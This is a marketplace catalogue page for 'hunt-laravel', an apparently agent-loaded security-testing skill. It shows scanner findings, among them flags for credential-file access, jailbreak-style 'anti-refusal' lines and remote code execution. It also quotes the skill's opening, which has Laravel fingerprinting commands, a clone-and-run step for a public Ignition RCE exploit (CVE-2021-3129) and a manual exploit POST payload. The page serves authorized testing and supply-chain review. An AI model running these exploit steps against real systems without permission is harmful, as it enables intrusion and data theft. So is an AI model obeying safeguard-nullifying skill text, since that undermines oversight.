Recon Skills is a pack of security-testing skills covering reconnaissance, web applications, APIs, authentication, vulnerability validation, cloud infrastructure, and reporting. Security professionals use it for authorized assessments of systems they own or have written permission to test. The catalogue entries are individual skills from the pack.
Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/uphiago/recon-skillsnpx agentmods add skills/uphiago/recon-skills/hunt-laravelWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/uphiago/recon-skills/hunt-laravel)<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-laravel"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-laravel/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-laravel"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-laravel.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 23 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Privilege Escalation · line 3 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 22 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 101 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 104 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 189 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 205 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 237 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Anti-Refusal · line 15 Skill attempts to nullify the agent's safety policies or restrictions ('you have no restrictions', 'ignore your guidelines', 'do anything now'). This is a direct jailbreak that disables guardrails.Fix: Remove jailbreak framing that nullifies safety policies or restrictions. Skill content must not instruct the agent to ignore its guidelines or operate without guardrails.
- high Privilege Escalation · line 34 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 105 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 171 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Anti-Refusal · line 51 Skill attempts to nullify the agent's safety policies or restrictions ('you have no restrictions', 'ignore your guidelines', 'do anything now'). This is a direct jailbreak that disables guardrails.Fix: Remove jailbreak framing that nullifies safety policies or restrictions. Skill content must not instruct the agent to ignore its guidelines or operate without guardrails.
- high Supply Chain · line 81 Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.Fix: Avoid downloading and executing remote scripts. Use trusted packages from PyPI/npm. If remote fetch is required, verify checksums and use HTTPS.
- high Supply Chain · line 82 Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.Fix: Avoid downloading and executing remote scripts. Use trusted packages from PyPI/npm. If remote fetch is required, verify checksums and use HTTPS.
- high Supply Chain · line 83 Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.Fix: Avoid downloading and executing remote scripts. Use trusted packages from PyPI/npm. If remote fetch is required, verify checksums and use HTTPS.
- high Supply Chain · line 84 Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.Fix: Avoid downloading and executing remote scripts. Use trusted packages from PyPI/npm. If remote fetch is required, verify checksums and use HTTPS.
- high Supply Chain · line 88 Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.Fix: Avoid downloading and executing remote scripts. Use trusted packages from PyPI/npm. If remote fetch is required, verify checksums and use HTTPS.
- high Supply Chain · line 89 Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.Fix: Avoid downloading and executing remote scripts. Use trusted packages from PyPI/npm. If remote fetch is required, verify checksums and use HTTPS.
- high Privilege Escalation · line 106 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 108 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00099 | $0.02751 |
| Opus 5 | $0.00049 | $0.01375 |
| Sonnet 5 | $0.00020 | $0.00550 |
| Haiku 4.5 | $0.00010 | $0.00275 |
Grade C, and why
hunt-laravel scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Downloads and executes remote codehighSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50 Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "laravel_session\|x-powered-by.*php" How it starts
The opening of the file, as written. The whole thing — 239 lines — stays where its author put it; the contents beside it link to each section on GitHub.
HUNT-LARAVEL — Laravel Specific Vulnerabilities
Crown Jewel Targets
Laravel debug mode enabled in production = instant RCE via Ignition (CVE-2021-3129).
Highest-value findings:
- Ignition RCE (CVE-2021-3129) —
APP_DEBUG=true+ Laravel < 8.4.2 →/_ignition/execute-solutionRCE without auth - Telescope dashboard —
/telescopeexposes full request/response logs, DB queries, Redis commands, scheduled jobs, environment variables - Horizon dashboard —
/horizonexposes queue job details, failed jobs with full payloads (may contain API keys, PII) - Signed URL manipulation — if
URL::signedRoutevalidates wrong params → bypass signed URL → unauthorized actions - .env exposure —
APP_KEYleaked → decrypt all encrypted cookies → forge session → ATO
Phase 1 — Fingerprint Laravel
# Laravel-specific indicators
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "laravel_session\|x-powered-by.*php"
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -i "laravel\|Illuminate\|csrf-token"
# Common Laravel paths
for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
[ "$STATUS" != "404" ] && echo "$path: $STATUS"
done
# Check error page (trigger 404)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel\|Whoops\|Ignition\|symfony"
Phase 2 — Debug Mode & Ignition RCE (CVE-2021-3129)
# Step 1: Check if debug mode is enabled (Whoops error page)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/nonexistent" | grep -i "Whoops\|APP_DEBUG\|Ignition"
# If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129
# Step 2: Check Ignition endpoint
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_ignition/health-check" | head -5
# Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
# (Requires debug mode + writable storage/logs)
# Tool: ambionics/laravel-ignition-rce
git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
php /tmp/laravel-rce/exploit.php https://$TARGET "id"
# Manual test — send solution request
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/_ignition/execute-solution" \
-H "Content-Type: application/json" \
-d '{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "x",
"viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
}
}'
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 239 lines · 99 tokens per session scan C 0e0d2e59c67d
hunt-laravel is a skill published in the GitHub repository uphiago/recon-skills (1,254 stars, last pushed 10d ago), licensed MIT. It adds 99 tokens to every session and 2,751 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it C with 2 findings (downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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